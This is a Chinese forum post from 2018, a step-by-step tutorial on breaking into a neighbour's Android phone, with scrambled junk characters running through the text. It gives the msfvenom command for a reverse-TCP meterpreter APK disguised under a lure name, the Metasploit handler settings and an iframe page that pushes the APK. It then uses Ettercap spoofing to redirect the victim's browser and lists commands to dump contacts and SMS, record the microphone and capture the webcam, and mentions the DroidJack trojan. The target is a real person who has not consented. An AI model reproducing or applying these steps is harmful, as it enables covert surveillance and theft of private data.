|
8 Q. I/ n; H$ x% I8 u3 x 五、msf+ettercap入侵邻居安卓手机 6 |' n3 U! \0 q6 L# m0 Z
' ~* F* f5 l' ~ w0 m" Z9 C
4 ?+ K8 k; L1 ?: ^ 首先启动msf
* m5 l/ T$ ?; b8 [
/ Q6 P/ x# y$ Y' \" |1 M. y8 w5 A# h9 m9 {& @" y& m' V! K+ G2 Y/ r
先用kali生成一个安卓木马，如下命令： ) s+ e/ X1 i" G) A6 D7 L
3 A3 A' m9 O$ H, C+ D$ Z+ C7 `
1 H! Q. z8 b7 e7 Q1 j/ p& y
Msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=44444 -o ~/Desktop/ribenav.apk
6 K3 [$ f5 @; x% u3 g! B: X % M. l8 k( r1 Q1 z+ p6 `- m; b
) P+ M7 P- y3 d4 z- e2 E2 W
 为了能让对方下载以后安装我这里将马的名字命名为ribenav.apk,哈哈邻居可是个“大色鬼”，就不适用替换下载的方法了，据我所知，邻居频繁使用手机浏览器浏览新闻 - r" e2 S. A6 ^/ P3 N+ B$ X {
+ }/ l7 `$ W3 B" H; W+ b) x* U( @
8 A4 P- m3 D" b$ Z 然后进入msf
k A" _; |. j, j : N( b, c$ d5 d; J2 C' R& s
; R" t& m9 V0 n
use exploit/multi/handler + {( c! L' P- ^) U B
' t9 l' E1 x* o6 c& I: R
$ Y* R3 P, v3 B: E4 J set payload android/meterpreter/reverse_tcp / B9 S( B3 L2 j) `$ |
$ I( l$ {% O; e( s& U2 P& c5 V
+ l+ D$ b5 H/ z
set LHOST 192.168.0.109 //ip为kaili的ip n& U* ~+ _6 Q' x8 k- F
. [& P# H5 r4 Z0 I. g2 V" d: M8 s$ T* J4 ~6 V- l# r
set LPORT 44444 //端口一定要与前面生成的木马的端口一致
3 J: u1 i& u# K. }; ]( l' E" `, @
1 W& B( } _9 z4 r! U7 f- n, c
, F0 t- l+ c4 Z/ ?! f" G Exploit " p$ a4 p @$ }8 }# b; Z
0 B+ Z7 A" A) t1 P: n" z: G, c& ?3 V* W( K4 _+ P; I7 E8 x
Y8 K0 ~9 `6 |% Z. n
/ n; o+ Y9 B8 R$ Q- W" f u' h% e9 {- P5 y4 ?3 \; K$ y) C
下面我们开启ettercap -G
4 O( t- ]$ D6 i/ N% @8 Q4 A6 h! e- C6 }3 X
5 y1 Y& r8 y3 I% v) }4 F- [* z
# S4 k; l0 l2 q; }- b$ P g' l3 m3 r 我物理IP为
$ g l5 c# Z7 d- d- t
( n# H, {% b) b, j! x+ g) F+ {; [, \- @ I h" R! g, A$ u+ E
& S, k+ L0 H2 ^6 ]0 Y* N
9 F: S8 `1 a. k5 n# C) ^" n% c' J; y5 M$ h8 B" r/ E3 X
别到时候再把我物理机欺骗了，之前测试物理机只装腾讯管家是可以成功欺骗的， , a' w: M$ Y0 z: `
- k: i6 j- c' _* r/ t9 j3 q: }
% C6 W* g8 W% J& a 下面我们来设置一下 , v# E$ \% o2 n3 {9 A3 ^
1 c/ p4 C( m0 c* D" } F5 `2 ?* ~ v- {& n* R
 0 \) n. K p9 c1 d3 [" q& y; ]' O
& i. B1 {% T, q/ S$ Y* {
1 J- |# b& I! H) a$ u% o& Z 在开启欺骗之前我们先把生成的apk马丢到kaili var/www/html下，并创建一个index.htm文件内容为：<iframe src=http://192.168.0.109/ribenav.apk></iframe>,因为apk文件嘛要想直接提示下载，用iframe语句就OK了， # O" Q, f1 w. i/ p1 n7 V" r
! g; W0 ~3 D& H% }6 w* Z0 \; K
2 ?: C* O5 b0 U7 Q. [ 2 _2 l2 R* a4 s
% X* h. v+ i5 W- Z" Q5 B+ A. ?, c
8 i( ^ P2 ^" k5 y* i  , X" {' x0 P1 [# O* `
3 L' Z+ P, Y% W; C& m6 N6 y! W# H. _
, p6 q( }+ Y# L3 R
8 t4 x' }! r8 c* c0 b2 D 2 j8 p- b# j& y+ T
3 Z. O# _; o' }. l+ e, f6 { # j% R' A8 e9 `
7 |0 W+ u8 f; ]7 E+ R# ~) B, K/ A6 {+ p
; {8 d" F* n. x & `8 ^4 N: A7 N3 P$ W
7 S0 j/ o" ]- ~2 y* A# O1 a7 l
) y) o8 k- z6 E. y8 }4 a
9 O* O- o8 }5 e' O3 G! Z9 W
' t H: S( L8 W0 v- Y1 l % {) E* B0 x+ C; ?! o
- p% j9 Y6 F# D2 |4 v1 ]
8 a( ~- v {* f8 S2 O n" S* i1 Z) q0 L2 K
) G L! Q8 \0 Q0 |* w% b* x
3 X$ v; F8 ^$ K. Z9 K
6 D4 m" j( H" x* C & z! f$ b! D, o, n" Y7 ]: m+ r6 D
0 S( M5 H9 `) V) ` + V& `/ e$ }8 S) Q
; S+ b2 d& ~! H( ~7 [) O
# {1 x2 m l9 m+ O8 T
# K# O: c. `7 n( p, T4 m) t+ S6 } + {, N: \) v4 m. A) O6 Z3 x
: H3 z+ N S" A% q; i
- Q3 b$ D, m- G" q
7 ^8 Q' T# F- }1 T8 p/ b0 w
* m8 l7 E6 e7 h1 W5 d4 T5 y7 b; q  4 v/ M5 [8 ? R j
2 U5 H. X- y& }5 S: X- l! C$ I
9 X& u) E" y- h% C* @ 下面我们开始攻击 + }# c5 p1 d/ Z6 Z
0 u/ [ H) m( U) s
5 t0 p2 G4 b: \% f8 p3 C _1 ?! ^' e6 e! A9 X0 P" m( y
; v; Q; [0 B: ]2 b
# l: Y5 f. i5 V' a
. F# o1 X* _0 \/ i # {- D' a& D/ B4 X3 ]: l
) S, U: K _/ S9 q' L" o
: a* g' T1 C R' t& H0 Y
' C/ u+ D. s* i7 u, B8 \! y0 O( C% l6 D/ u
$ e) u& X" S$ Z' Q, u- Z
# m- ?1 L, x+ \7 U V2 _1 Z+ i( X0 }. U7 _* C
. [' @. ^; W$ G! P" V; ^ 7 _7 J2 u) H t+ o i- n
! ^# p& t& K8 N% p+ W 大概过了5分钟多，发现反弹成功了 1 F# t4 x) E3 c) m) w
2 ]: ^% V& l8 b+ J0 ?: _8 W O
4 k9 C3 m* e, d% R! O 8 m) \2 J/ c8 A
1 E; O2 Z" |1 x
3 s8 h4 _% i. l0 j r; ], k. |& }/ g: n$ z8 z) q, V
' X" ^7 Y7 y* L s& B
7 d! `2 {( s& B0 `1 a' a! J: ~( y6 d W* D) a0 {$ N
. N* S0 ~) t% ^8 f+ H X
2 e+ f5 j: S P1 g8 i4 ?" m
8 V2 }, H8 u3 _1 K5 W4 y- |, f
% O; }& o+ M) N* _# D: q( G2 G w2 }3 I) J
' D( m7 H2 E% j# Z9 W: d+ \
) N' e% _9 F$ p* o" _9 x
1 }% s/ p6 K& [' V2 Y% f/ g9 H
5 c1 `" h# k/ L, w: _ L
4 g6 z1 V1 x" S( b& V8 Y3 X
( m6 r/ ~) B# J3 y5 j  7 }# r% o4 \6 a0 ^5 x) i
( j( Q8 h6 b" \: l4 U: e# g5 ~2 l/ f- @6 u# `8 p
执行命令
6 Z0 _5 W2 K2 N5 f P0 J8 I; j
* E6 }5 t2 K+ z: G. P# S1 i0 ~; U- E) D4 b& ~' `
~, T7 [7 M3 r2 ?
7 [ _3 u' P+ \/ _: D& G! X7 q; |; z" v8 F" z7 Z+ k
dump_contacts --》这个是导出电话
' E# B- T5 S9 m/ g) W/ m! O% A; F9 w
6 R3 Z Z6 y+ f( R! h/ ^5 ^4 c
& t7 r- A5 v! ~- a/ C! ]3 L0 t dump_sms --》这个是导出信息
! I9 K8 D8 s6 c. b3 ?( r& L % L4 A' Z6 i1 E% j
4 C$ p5 w6 D7 O( Z" J
record_mic Record audio from the default microphone for X seconds 5 A5 X1 m. [0 Y
* A1 x9 t& n% S# s' ^* E
7 e3 C3 S8 N& }! s# e6 \1 {* [ webcam_chat Start a video chat ' n" H( n" V+ v7 [# g
* g4 \4 N6 i( x H; s. n! F, M8 Z- o
webcam_list List webcams
% x# N# `% _3 s- Q1 _6 R2 o* ` 5 q2 U7 P- w( X
+ }3 ], f' w! d) v# v& i9 y webcam_snap Take a snapshot from the specified webcam
6 O4 z- I& ^) q! G4 i( X* q
8 W$ C7 `4 x7 S$ ~9 m) v& T& a- L9 Y9 P G3 }8 q0 d
webcam_stream  lay a video stream from the specified webcam # `, W: h7 m7 c9 Y6 a1 E9 ^+ X
- n$ g& I% v5 z0 v5 R
6 q/ \5 D1 z% U% N4 }- K" n" u  5 d+ K, S0 F S8 `
- B$ ~) k4 u: ~" T" `3 F6 M- g6 G
 ! g9 V" t; K& x/ A& n( K
* d1 B& t B; h$ }# K" n
6 [ U$ l( d" S" |! I
我们打开看一下电话薄， ( P O. V& H) I) Y! n
% p0 B% t) {( H$ u( E/ c+ T; y) _
& `# n: j% [3 o8 Q: ~; i / @% B8 u5 x# y1 _; `& a! d4 @( B
8 p! E2 R2 G$ S. c$ d
 $ O$ O2 S' w; o6 r9 b; W) E2 i
1 ~; k8 {6 P+ j6 f) \+ g9 }+ V1 d& X- y& T' w. Y( L
' D6 P/ B s3 L" U
9 e" O: [2 D% @& X
" K" I" Q4 T4 N* Z% n 
2 c; Q v8 D; @: V( g. D) \
! N6 f, _0 x0 A `& t9 M& ^. H
, d7 \2 {5 x/ w K% b
2 e7 ?; N4 j6 b( _2 S# K5 m$ f* ~6 i
1 D/ E! L. o) f: h8 M
$ c) Q* a V4 ?( \# R
+ r, c* y1 e) d3 O/ R 我们同时欺骗成DroidJack木马，使用方法如图：
' p0 e6 I4 R6 K! z: [
2 }$ T8 H6 x8 m- j9 T+ p3 e, K- I9 n- y1 @( L+ Q) v
' \+ Z! F" B4 S/ }; R
# ]6 R- ^: f7 d. x" q* k) K2 L9 v
; V* Z% ?. Y! f* h" x/ C 4 ^! F7 \: e3 z* g
# D) C/ ^6 x2 s; P. X4 o! y8 |& r: W/ y; T$ j N& e
2 d" @) U& i" B" u7 C
- u9 A. K' l$ B6 \$ o" d3 E2 ? Z8 a/ M2 g( H
切记在前面生成完马以后记得在这里选择开关为on，并且对应前面生成马的时候的端口
7 O2 X' ]" l3 S) d8 a. C % Z* B3 d: A/ z: W* s* q
+ g5 P) Q" m) c& [3 B/ k 
9 C; G" C1 G! e4 |& F
" H7 u! q% K! Z# J: a6 C
; W; k! {5 r4 `8 \  , Z* _: U: e" Z
& P5 `0 m4 N' s5 {9 w+ n. I/ n
. l" @9 _! G% B' q2 \$ I. t 
4 a* c4 }+ |; P# b/ C# \8 X! i$ m2 j
! {8 s: _! i* |) D0 _4 Z4 C: e2 a. Z
 
2 B, v0 U- b5 X- C0 H3 g' z
! \+ _. b r) E) X7 @, @6 J1 S# g# |* n+ K5 I- u
1 m- R' P, u4 I3 _0 j3 O
| 
发表于 2018-10-20 20:30:37
收藏
支持
反对